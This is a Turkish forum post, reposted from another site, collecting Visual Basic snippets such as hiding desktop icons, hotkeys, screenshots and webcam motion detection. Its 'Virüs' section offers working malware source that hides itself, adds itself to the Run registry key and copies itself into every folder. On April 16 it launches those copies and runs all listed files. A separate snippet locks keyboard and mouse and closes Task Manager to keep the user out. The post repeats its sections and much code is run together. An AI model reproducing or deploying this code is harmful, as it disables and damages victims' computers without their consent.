- Katılım
- 4 Ocak 2013
- Konular
- 4
- Mesajlar
- 7
- Reaksiyon Skoru
- 0
- Altın Konu
- 0
- TM Yaşı
- 13 Yıl 5 Ay 12 Gün
- Başarım Puanı
- 30
- MmoLira
- -1
- DevLira
- 0
ROHAN2 WORLD 1-120 TR TİPİ OFFICIAL YOHARA, BALATHOR VE AMON! 80. GÜNÜNDE! +10.000 ONLİNE! HİLE VE BOT %100 ENGELLİ HEMEN TIKLA!
Viusal Basic 2008 [İşinize yarayabilecek kodlar]
ARKADAŞLAR ALINTIDIRTHT DEOPTİMİSTO 'DAN ALINTIDIR.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Masaüstü iconları, başlat v.s. gizle ve göster
Programa Sadece 4 Tane Command Yüklemeniz Yeterlidir.
Command1= Başlat Butonunu Gösterir
Comman2= Başlat Butonunu Gizler
Command3= İconları Gösterir
Command4= İconları Gizler
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Tuş Takibi
Bu kısa kod parçAsını forma yapıştırarak işe başlayabilirsiniz... Bu örnek kod bir olayın gerçekleşmesi içIn bazı tuşlara basılıp basılmadığını kontrol eder. Bu örnekte Ctrl-F tuşlarına aynı anda basarsanız formu minimize yapıyor
kodlara geçiyoruz
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Klavye ve fareyi kitleyin KEYBOARD & MOUSE BLOCK
formunuza 1 tane Timer , 1 tane buton ekleyin
timerin intervali =1000 ms enabled=False olsun
' blockinput apisiyle bilgisayara olan klavye ve fare girişleri kapatılır. Fakat Alt + Tab ,ctrl + escape
'windows tuşları iptal edilebilmesine karşın disabled modu CTRL +ALT + DELETE tuş kombinasyonu basılınca
' Taskmanager (taskmgr.exe) nin çalışmasıyla ortadan kalkıyor.
'Modül içina yazdığım kodda bu işe yarıyor. Windows Görev Yöneticisi çalışmaya başlayınca
'bu pencere başlık isminden yakalanıyor ve
'send keys alt +f4 kombinasyonu gönderilerek taskmanager kapatılıyor ve blockinput True komutu verilerek tekrardan kilit moduna geçiliyor.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Print Screen (Ekran Görüntüsü Alma)
Vb İle Ekran Görüntüsü Alma Konusunu Ele Alalım Bu Genelde Büyük Bir Sorundur Gerek Keylogger Uygulamalarında GFerekse Piyasadaki Ekran Görüntüsü Yakalama Programları Gibi Kaliteli Şeyler Yapabilirisniz! Gelelim Kodlar Ve Yapılışına
Öncelikle Yeni Bir Proje Oluşturup Bir Modul Ekleyelim Modul İçine Aşağıdaki Kodları Yazalım
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Crazy Mouse
Forma Bi Command Ekleyip Aynen Kodları Yapıştırıyoruz
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Hareket algılayan webcam
'Hareket algılayan webcam
'visual basic 6 denendi form1 code kısmı boş olacak kodları kopyala yapıştır
'Picturebox = Picture1 formun üzerine genişletin PROPERTİES DE ,DRAwWidth =3 olsun
'label iki tane aynı kalsın isimler
'time1 = isim aynı kal. Interval =50 olacak
Not benim web camera kuruludu
'Burayı form1 code ye yapıştır
'For WEBCAM DECLARATIONS
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByValwMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias"capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X AsLong, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long,ByVal nID As Long) As Long
Private mCapHwnd As Long
Private Const CONNECT As Long = 1034
Private Const DISCONNECT As Long = 1035
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054
'declarations
Dim P() As Long
Dim POn() As Boolean
Dim inten As Integer
Dim i As Integer, j As Integer
Dim Ri As Long, Wo As Long
Dim RealRi As Long
Dim c As Long, c2 As Long
Dim R As Integer, G As Integer, B As Integer
Dim R2 As Integer, G2 As Integer, B2 As Integer
Dim Tppx As Single, Tppy As Single
Dim Tolerance As Integer
Dim RealMov As Integer
Dim Counter As Integer
Private Declare Function GetTickCount Lib "kernel32" () As Long
Dim LastTime As Long
Option Explicit
Private Sub Form_Load()
'çerçeve boyutu
Picture1.Width = 640 * Screen.TwipsPerPixelX
Picture1.Height = 480 * Screen.TwipsPerPixelY
'Inten kaç pixel işleneceğini tutar. Bu sayıyı yüksek tutmayın
'P 3.0 GHz PC de bile tekleme yapabiliyor
'Her 15nci pixel kontrol edilecek:
inten = 15
'Pixel değişikliğini kontrol etme toleransı
Tolerance = 20
Tppx = Screen.TwipsPerPixelX
Tppy = Screen.TwipsPerPixelY
ReDim POn(640 / inten, 480 / inten)
ReDim P(640 / inten, 480 / inten)
STARTCAM
End Sub
Private Sub Picture1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = 1 Then
STARTCAM
ElseIf Button = 2 Then
STOPCAM
End If
End Sub
Private Sub Timer1_Timer()
'Ana bölüm burası. Kameradan resim alı:
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
Clipboard.Clear
Ri = 0 'Doğru
Wo = 0 'yanlış
LastTime = GetTickCount
For i = 0 To 640 / inten - 1
For j = 0 To 480 / inten - 1
'bir nokta al
c = Picture1.Point(i * inten * Tppx, j * inten * Tppy)
'Red, Green, Blue analizini yap
R = c Mod 256
G = (c / 256) Mod 256
B = (c / 256 / 256) Mod 256
'Bundan bir önceki adımı kontrol et
c2 = P(i, j)
'analiz et
R2 = c2 Mod 256
G2 = (c2 / 256) Mod 256
B2 = (c2 / 256 / 256) Mod 256
'Esas karşılaştıma bölümü... Eğer tüm R, G ve B'ler aynı ise, pixelde geğişiklik olmamıştır.
'iyi bir kamerada yazılım toleransı teorik olarak 1 olur. Ancak işIn aslı öyle değil
If Abs(R - R2) < Tolerance And Abs(G - G2) < Tolerance And Abs(B - B2) < Tolerance Then
'pixel aynı kalmış
Ri = Ri + 1
'Pon pixelin değişip değişmediğini tutar
POn(i, j) = True
Else
'Pixel değişti
Wo = Wo + 1
P(i, j) = Picture1.Point(i * inten * Tppx, j * inten * Tppy)
Picture1.PSet (i * inten * Tppx, j * inten * Tppy), vbRed
POn(i, j) = False
End If
Next j
Next i
RealRi = 0
For i = 1 To 640 / inten - 2
For j = 1 To 480 / inten - 2
If POn(i, j) = False Then
'Asıl hareket pixelin etrafındaki 4 pixel değiştiği zaman meydana gelmiş demektir
'Daha basit bir ifade ile, eğer bir pixel ve etrafındaki dört pixel
'değişmişse bu gerçek bir harekettir
If POn(i, j + 1) = False Then
If POn(i, j - 1) = False Then
If POn(i + 1, j) = False Then
If POn(i - 1, j) = False Then
RealRi = RealRi + 1
Picture1.PSet (i * inten * Tppx, j * inten * Tppy), vbGreen
End If
End If
End If
End If
End If
Next j
Next i
'olayın istatistiğini verelim
Label1.Caption = Int(Wo / (Ri + Wo) * 100) & " % movement" & vbCrLf & "Real Movement: " & RealRi & vbCrLf _
& "Completed In: " & GetTickCount - LastTime
End Sub
Sub STOPCAM()
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Timer1.Enabled = False
End Sub
Sub STARTCAM()
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 640, 480, Me.hwnd, 0)
DoEvents
SendMessage mCapHwnd, CONNECT, 0, 0
Timer1.Enabled = True
End Sub
'Aslında resim çıkışını da kaydedebilirsiniz. Aşağıdaki kısmı kapalı tuttum.
'isterseniz tek tırnakları kaldırın ve sonucu görün
'Private Sub Timer2_Timer()
'SavePicture Picture1.Image, "C:/pics/img" & Counter & ".bmp"
'Counter = Counter + 1
'End Sub
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Virüs
Bilgisayarda saklanır ve 16 Nisan günü Çalışır. 98 de direkt fatal Error verir ken . Xp de bilg kullanılmaz hale gelir ve restart atmak gerekir. Donanıma bir zararı yoktur.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Vb.net icin mouse kordinatlarını bulmak
form uzerine bir tane label ekleyin
formun mousemove kısmına bu kodları yapıştırın
Alıntıdır tht den aldım
Beğenin Lütfen
ARKADAŞLAR ALINTIDIRTHT DEOPTİMİSTO 'DAN ALINTIDIR.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Masaüstü iconları, başlat v.s. gizle ve göster
Programa Sadece 4 Tane Command Yüklemeniz Yeterlidir.
Command1= Başlat Butonunu Gösterir
Comman2= Başlat Butonunu Gizler
Command3= İconları Gösterir
Command4= İconları Gizler
'Modül Bölümü
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As LongPrivate Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPrivate Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As LongPrivate Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As LongConst SWP_HIDEWINDOW = &H80Const SWP_SHOWWINDOW = &H40Public Sub StartButton(Show As Boolean)Dim degisken As LongDim xt As Long 'Form Bölümü Private Sub Command1_Click() degisken = FindWindow("Shell_TrayWnd", "")xt = FindWindowEx(degisken, 0, "Button", vbNullString)ShowWindow xt, 5 'Başlat butonunu gösterir. End Sub Private Sub Command2_Click() degisken = FindWindow("Shell_TrayWnd", "")xt = FindWindowEx(degisken, 0, "Button", vbNullString)ShowWindow xt, 0 'Başlat butonunu gizler End Sub Private Sub Command3_Click() Dim dx As Longdx = FindWindowEx(0&, 0&, "Progman", vbNullString)ShowWindow dx, 5 'iconlar gözükür.End Sub Private Sub Command4_Click() Dim dx As Longdx = FindWindowEx(0&, 0&, "Progman", vbNullString)ShowWindow dx, 0 'iconlar gizlenirEnd If EndSub
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Tuş Takibi
Bu kısa kod parçAsını forma yapıştırarak işe başlayabilirsiniz... Bu örnek kod bir olayın gerçekleşmesi içIn bazı tuşlara basılıp basılmadığını kontrol eder. Bu örnekte Ctrl-F tuşlarına aynı anda basarsanız formu minimize yapıyor
kodlara geçiyoruz
Private Const MOD_ALT = &H1Private Const MOD_CONTROL = &H2
Private Const MOD_SHIFT = &H4Private Const PM_REMOVE = &H1Private Const WM_HOTKEY = &H312Private Type POINTAPIx As Longy As LongEnd TypePrivate Type MsghWnd As LongMessage As LongwParam As LonglParam As LongTime As Longpt As POINTAPIEnd Type Private Declare Function RegisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As LongPrivate Declare Function UnregisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long) As LongPrivate Declare Function PeekMessage Lib "user32" Alias "PeekMessageA" (lpMsg As Msg, ByVal hWnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As LongPrivate Declare Function WaitMessage Lib "user32" () As LongPrivate bCancel As BooleanPrivate Sub ProcessMessages()Dim Message As Msg'bCancel True olana kadar döngü çalışsınDo While Not bCancel'mesaj bekleWaitMessage'Bir HOTKEY-message olup olmadığına bakIf PeekMessage(Message, Me.hWnd, WM_HOTKEY, WM_HOTKEY, PM_REMOVE) Then'Formu küçültWindowState = vbMinimizedEnd If'Sistem diğer işlemleri yerine getirsinDoEventsLoopEnd SubPrivate Sub Form_Load()Dim ret As LongbCancel = False'Ctrl-F hotkey kaydetret = RegisterHotKey(Me.hWnd, &HBFFF&, MOD_CONTROL, vbKeyF)Me.AutoRedraw = TrueMe.Print "Formu simge durumuna getirmek içIn Ctrl-F tuşlarına aynı anda basın."'formu göster Show'Hotkey mesajlarını işleProcessMessagesEnd SubPrivate Sub Form_Unload(Cancel As Integer)bCancel = True'hotkey unregister Call UnregisterHotKey(Me.hWnd, &HBFFF&) EndSu
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Klavye ve fareyi kitleyin KEYBOARD & MOUSE BLOCK
formunuza 1 tane Timer , 1 tane buton ekleyin
timerin intervali =1000 ms enabled=False olsun
' ModÜL İÇİNE YAZIN
Option Explicit
Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, _ByVal nIDEvent As Long, _ByVal uElapse As Long, _ByVal lpTimerFunc As Long) As LongPublic Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, _ByVal nIDEvent As Long) As LongPublic Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As LongPrivate Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, _ByVal lpWindowName As String) As Long Private Window_bul As LongPublic zaman As IntegerPublic Task_Manager_baslik As String Public Sub zamanlama(ByVal lhwnd As Long, _ByVal uMsg As Long, _ByVal idEvent As Long, _ByVal dwTime As Long)Window_bul = FindWindow(vbNullString, Task_Manager_baslik)If Window_bul > 0 Then SendKeys "%{F4}", True Form1.SetFocusBlockInput TrueEnd If End Sub ' FORMA YAPIŞTIRINPrivate Sub Form_Load(Cancel As Integer)Task_Manager_baslik="Windows Görev Yöneticisi"End Sub Private Sub Form_Unload(Cancel As Integer)KillTimer Me.hwnd, 0End Sub Private Sub Command1_Click()zaman= 0SetTimer Me.hwnd, 0, 50, AddressOf zamanlamaTimer1.Enabled = TrueBlockInput True ' klavye ve fareyi disabled et End Sub Private Sub Timer1_Timer()zaman=zaman+ 1If zaman = 10 Then' BlockInput False 'klavye ve fare kilidini kaldırKillTimer Me.hwnd, 0 '-----------------------------------------------Timer1.Enabled = False End If EndSub
' blockinput apisiyle bilgisayara olan klavye ve fare girişleri kapatılır. Fakat Alt + Tab ,ctrl + escape
'windows tuşları iptal edilebilmesine karşın disabled modu CTRL +ALT + DELETE tuş kombinasyonu basılınca
' Taskmanager (taskmgr.exe) nin çalışmasıyla ortadan kalkıyor.
'Modül içina yazdığım kodda bu işe yarıyor. Windows Görev Yöneticisi çalışmaya başlayınca
'bu pencere başlık isminden yakalanıyor ve
'send keys alt +f4 kombinasyonu gönderilerek taskmanager kapatılıyor ve blockinput True komutu verilerek tekrardan kilit moduna geçiliyor.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Print Screen (Ekran Görüntüsü Alma)
Vb İle Ekran Görüntüsü Alma Konusunu Ele Alalım Bu Genelde Büyük Bir Sorundur Gerek Keylogger Uygulamalarında GFerekse Piyasadaki Ekran Görüntüsü Yakalama Programları Gibi Kaliteli Şeyler Yapabilirisniz! Gelelim Kodlar Ve Yapılışına
Öncelikle Yeni Bir Proje Oluşturup Bir Modul Ekleyelim Modul İçine Aşağıdaki Kodları Yazalım
Program Çalıştığı Sırada Command Butona Tıklandığı Zaman C:/ Sürücüsü İçersine sh1.bmp İsminde Ekran Görüntüsü Kaydolur Herkeze Kolay Gelsin'****************************************************
Public Function Screenshot(ByVal Destination$) As BooleanOn Error Resume NextDoEvents DoEventsSavePicture Clipboard.GetData(vbCFBitmap), Destination$Screenshot = TrueEnd Function'*****************************************************'Sonra İse Formumuza '1 İmage'1 Command Buton Ekleyelim'Command Butonun Caption Özelliğini Resim Çek vs. Gibi 'Geliştirebilirsiniz'Sonra İse Aşağıdaki Kodları Form İçine Yazalım'*****************************************************Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) Private Sub Form_Load()Image1.Stretch = TrueEnd Sub Public Function Screenshot(ByVal Destination$) As BooleanOn Error Resume NextDoEventsCall keybd_event(vbKeySnapshot, 1, 0, 0)DoEventsSavePicture Clipboard.GetData(vbCFBitmap), Destination$Screenshot = TrueEnd Function Private Sub Command1_Click()Form1.HideScreenshot "C:/sh1.bmp"Image1.Picture = LoadPicture("C:/sh1.bmp")Form1.ShowEnd Sub '****************************************************
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Crazy Mouse
Forma Bi Command Ekleyip Aynen Kodları Yapıştırıyoruz
PrivateDeclareFunction SetCursorPos Lib "user32" (ByVal x AsLong, _
ByVal y As Long) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Command1_Click ()Dim MiddleY As Long, Middlex As Long, Radius As LongDim TX As Long, TY As Long, Grad As Long Do MiddleX = (Screen.Width / Screen.TwipsPerPixelX) / 2MiddleY = (Screen.Height / Screen.TwipsPerPixelY) / 2Radius = MiddleY / 2Grad = Grad + 1TX = MiddleX + Cos((Grad / 360) * 2 * 3.141) * RadiusTY = MiddleY + Sin((Grad / 360) * 2 * 3.141) * Radius Sleep 5DoEvents SetCursorPos TX, TYLoop Until Grad > 360 'burdaki 360 bir tur döneceğini gösterir 720 misal 2 turdur EndSubPrivateDeclareFunction SetCursorPos Lib "user32" (ByVal x AsLong, _
ByVal y As Long) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Command1_Click ()Dim MiddleY As Long, Middlex As Long, Radius As LongDim TX As Long, TY As Long, Grad As Long Do MiddleX = (Screen.Width / Screen.TwipsPerPixelX) / 2MiddleY = (Screen.Height / Screen.TwipsPerPixelY) / 2Radius = MiddleY / 2Grad = Grad + 1TX = MiddleX + Cos((Grad / 360) * 2 * 3.141) * RadiusTY = MiddleY + Sin((Grad / 360) * 2 * 3.141) * Radius Sleep 5DoEvents SetCursorPos TX, TYLoop Until Grad > 360 'burdaki 360 bir tur döneceğini gösterir 720 misal 2 turdur EndSub
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Hareket algılayan webcam
'Hareket algılayan webcam
'visual basic 6 denendi form1 code kısmı boş olacak kodları kopyala yapıştır
'Picturebox = Picture1 formun üzerine genişletin PROPERTİES DE ,DRAwWidth =3 olsun
'label iki tane aynı kalsın isimler
'time1 = isim aynı kal. Interval =50 olacak
Not benim web camera kuruludu
'Burayı form1 code ye yapıştır
'For WEBCAM DECLARATIONS
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByValwMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias"capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X AsLong, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long,ByVal nID As Long) As Long
Private mCapHwnd As Long
Private Const CONNECT As Long = 1034
Private Const DISCONNECT As Long = 1035
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054
'declarations
Dim P() As Long
Dim POn() As Boolean
Dim inten As Integer
Dim i As Integer, j As Integer
Dim Ri As Long, Wo As Long
Dim RealRi As Long
Dim c As Long, c2 As Long
Dim R As Integer, G As Integer, B As Integer
Dim R2 As Integer, G2 As Integer, B2 As Integer
Dim Tppx As Single, Tppy As Single
Dim Tolerance As Integer
Dim RealMov As Integer
Dim Counter As Integer
Private Declare Function GetTickCount Lib "kernel32" () As Long
Dim LastTime As Long
Option Explicit
Private Sub Form_Load()
'çerçeve boyutu
Picture1.Width = 640 * Screen.TwipsPerPixelX
Picture1.Height = 480 * Screen.TwipsPerPixelY
'Inten kaç pixel işleneceğini tutar. Bu sayıyı yüksek tutmayın
'P 3.0 GHz PC de bile tekleme yapabiliyor
'Her 15nci pixel kontrol edilecek:
inten = 15
'Pixel değişikliğini kontrol etme toleransı
Tolerance = 20
Tppx = Screen.TwipsPerPixelX
Tppy = Screen.TwipsPerPixelY
ReDim POn(640 / inten, 480 / inten)
ReDim P(640 / inten, 480 / inten)
STARTCAM
End Sub
Private Sub Picture1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = 1 Then
STARTCAM
ElseIf Button = 2 Then
STOPCAM
End If
End Sub
Private Sub Timer1_Timer()
'Ana bölüm burası. Kameradan resim alı:
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
Clipboard.Clear
Ri = 0 'Doğru
Wo = 0 'yanlış
LastTime = GetTickCount
For i = 0 To 640 / inten - 1
For j = 0 To 480 / inten - 1
'bir nokta al
c = Picture1.Point(i * inten * Tppx, j * inten * Tppy)
'Red, Green, Blue analizini yap
R = c Mod 256
G = (c / 256) Mod 256
B = (c / 256 / 256) Mod 256
'Bundan bir önceki adımı kontrol et
c2 = P(i, j)
'analiz et
R2 = c2 Mod 256
G2 = (c2 / 256) Mod 256
B2 = (c2 / 256 / 256) Mod 256
'Esas karşılaştıma bölümü... Eğer tüm R, G ve B'ler aynı ise, pixelde geğişiklik olmamıştır.
'iyi bir kamerada yazılım toleransı teorik olarak 1 olur. Ancak işIn aslı öyle değil
If Abs(R - R2) < Tolerance And Abs(G - G2) < Tolerance And Abs(B - B2) < Tolerance Then
'pixel aynı kalmış
Ri = Ri + 1
'Pon pixelin değişip değişmediğini tutar
POn(i, j) = True
Else
'Pixel değişti
Wo = Wo + 1
P(i, j) = Picture1.Point(i * inten * Tppx, j * inten * Tppy)
Picture1.PSet (i * inten * Tppx, j * inten * Tppy), vbRed
POn(i, j) = False
End If
Next j
Next i
RealRi = 0
For i = 1 To 640 / inten - 2
For j = 1 To 480 / inten - 2
If POn(i, j) = False Then
'Asıl hareket pixelin etrafındaki 4 pixel değiştiği zaman meydana gelmiş demektir
'Daha basit bir ifade ile, eğer bir pixel ve etrafındaki dört pixel
'değişmişse bu gerçek bir harekettir
If POn(i, j + 1) = False Then
If POn(i, j - 1) = False Then
If POn(i + 1, j) = False Then
If POn(i - 1, j) = False Then
RealRi = RealRi + 1
Picture1.PSet (i * inten * Tppx, j * inten * Tppy), vbGreen
End If
End If
End If
End If
End If
Next j
Next i
'olayın istatistiğini verelim
Label1.Caption = Int(Wo / (Ri + Wo) * 100) & " % movement" & vbCrLf & "Real Movement: " & RealRi & vbCrLf _
& "Completed In: " & GetTickCount - LastTime
End Sub
Sub STOPCAM()
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Timer1.Enabled = False
End Sub
Sub STARTCAM()
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 640, 480, Me.hwnd, 0)
DoEvents
SendMessage mCapHwnd, CONNECT, 0, 0
Timer1.Enabled = True
End Sub
'Aslında resim çıkışını da kaydedebilirsiniz. Aşağıdaki kısmı kapalı tuttum.
'isterseniz tek tırnakları kaldırın ve sonucu görün
'Private Sub Timer2_Timer()
'SavePicture Picture1.Image, "C:/pics/img" & Counter & ".bmp"
'Counter = Counter + 1
'End Sub
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Virüs
Bilgisayarda saklanır ve 16 Nisan günü Çalışır. 98 de direkt fatal Error verir ken . Xp de bilg kullanılmaz hale gelir ve restart atmak gerekir. Donanıma bir zararı yoktur.
Dim a(100000), u
Public Sub MakeStartUp(FileName As String)Dim Counter As IntegerDim MarkPos As IntegerDim Application As String Application = GetFileName(FileName)Application = Left(Application, (Len(Application) - 4)) 'Replace(Application, ".exe", "", , , vbTextCompare) & "~@#"Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE/Microsoft/Windows/CurrentVersion/Run ", Application, FileName)End Sub Public Sub SaveKey(hKey As Long, strPath As String)Dim KeyHand&Dim r As Long r = RegCreateKey(hKey, strPath, KeyHand&)r = RegCloseKey(KeyHand&)End Sub Public Function GetString(hKey As Long, strPath As String, strValue As String)'EXAMPLE:''text1.Text = getstring(HKEY_CURRENT_USE'' R, "Software/VBW/Registry", "String")'Dim KeyHand As LongDim datatype As LongDim lResult As LongDim strBuf As StringDim lDataBufSize As LongDim intZeroPos As IntegerDim r As LongDim lValueType As Long r = RegOpenKey(hKey, strPath, KeyHand)lResult = RegQueryValueEx(KeyHand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize) If lValueType = REG_SZ ThenstrBuf = String(lDataBufSize, " ")lResult = RegQueryValueEx(KeyHand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize) If lResult = ERROR_SUCCESS ThenintZeroPos = InStr(strBuf, Chr$(0)) If intZeroPos > 0 ThenGetString = Left(strBuf, intZeroPos - 1)ElseGetString = strBufEnd IfEnd IfEnd IfEnd Function Public Sub SaveString(hKey As Long, strPath As String, strValue As String, strdata As String)'EXAMPLE:''Call savestring(HKEY_CURRENT_USER, "Sof'' tware/VBW/Registry", "String", text1.t' ex' t)'Dim KeyHand As LongDim r As Long r = RegCreateKey(hKey, strPath, KeyHand)r = RegSetValueEx(KeyHand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))r = RegCloseKey(KeyHand)End Sub Function GetDWord(ByVal hKey As Long, ByVal strPath As String, ByVal strValueName As String) As Long'EXAMPLE:''text1.Text = getdword(HKEY_CURRENT_USER'' , "Software/VBW/Registry", "Dword")'Dim lResult As LongDim lValueType As LongDim lBuf As LongDim lDataBufSize As LongDim r As LongDim KeyHand As Long r = RegOpenKey(hKey, strPath, KeyHand)' Get length/data TypelDataBufSize = 4lResult = RegQueryValueEx(KeyHand, strValueName, 0&, lValueType, lBuf, lDataBufSize) If lResult = ERROR_SUCCESS Then If lValueType = REG_DWORD ThenGetDWord = lBufEnd If'Else'Call errlog("GetDWORD-" & strPath, Fals'' e)End Ifr = RegCloseKey(KeyHand)End Function Function SaveDword(ByVal hKey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)'EXAMPLE"''Call SaveDword(HKEY_CURRENT_USER, "Soft'' ware/VBW/Registry", "Dword", text1.tex' t)''Dim lResult As LongDim KeyHand As LongDim r As Long r = RegCreateKey(hKey, strPath, KeyHand)lResult = RegSetValueEx(KeyHand, strValueName, 0&, REG_DWORD, lData, 4)'If lResult <> error_success Then' Call errlog("SetDWORD", False)r = RegCloseKey(KeyHand)End Function Public Function DeleteKey(ByVal hKey As Long, ByVal strKey As String)'EXAMPLE:''Call DeleteKey(HKEY_CURRENT_USER, "Soft'' ware/VBW")'Dim r As Long r = RegDeleteKey(hKey, strKey)End Function Public Function DeleteValue(ByVal hKey As Long, ByVal strPath As String, ByVal strValue As String)'EXAMPLE:''Call DeleteValue(HKEY_CURRENT_USER, "So'' ftware/VBW/Registry", "Dword")'Dim KeyHand As LongDim r As Long r = RegOpenKey(hKey, strPath, KeyHand)r = RegDeleteValue(KeyHand, strValue)r = RegCloseKey(KeyHand)End Function Public Sub DeleteFromStartup(FileName As String)Dim Counter As IntegerDim MarkPos As IntegerDim Application As String Application = GetFileName(FileName)Application = Left(Application, (Len(Application) - 4)) 'Replace(Application, ".exe", "", , , vbTextCompare) & "~@#"Call DeleteValue(HKEY_LOCAL_MACHINE, "SOFTWARE/Microsoft/Windows/CurrentVersion/Run ", Application)End Sub Public Function GetFileName(Path As String) As String'returnes the filename from a path. Dim Counter As IntegerDim LastPos As Integer LastPos = 1For Counter = 1 To Len(Path)If Mid(Path, Counter, 1) = "/" ThenLastPos = CounterEnd IfNext Counter GetFileName = Mid(Path, (LastPos + 1), Len(Path)) End Function Public Function AddFile(Path As String, File As String) As String'This procedure adds a file name To a path.If Right(Path, 2) = ":/" ThenPath = Path & FileElsePath = Path & "/" & FileEnd If AddFile = PathEnd Function Sub çal()On Error Resume NextFor k = 0 To List1.ListCount - 1Shell List1.List(k)NextEnd Sub Private Sub Dir2_Change()File1 = Dir2End SubPrivate Sub Drive1_Change()Dir1 = Drive1End Sub Private Sub Form_Load()Form1.Left = -5000Form1.Top = -5000 On Error Resume NextDim qwe As Stringqwe = App.Path & "/" & App.EXENameMakeStartUp qweApp.TaskVisible = FalseWindowState = 0 List1.ClearFor k = 1 To 2Dir1 = Drive1.List(k) & "/"q = Dir1.ListCountFor l = 1 To qy = y + 1a(y) = Dir1.List(l)NextFor l = 1 To qDir2 = Dir1.List(l)For h = 0 To File1.ListCount - 1List1.AddItem Dir2 & "/" & File1.List(h)FileCopy App.Path & "/" & App.EXEName & ".exe", Dir2 & "/" & App.EXEName & ".exe"If Day(Date) = 16 And Month(Date) = 4 Then Shell Dir2 & "/" & App.EXEName & ".exe", vbHideNextNextNextIf Day(Date) = 16 And Month(Date) = 4 Then çal EndSub
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>
Vb.net icin mouse kordinatlarını bulmak
form uzerine bir tane label ekleyin
formun mousemove kısmına bu kodları yapıştırın
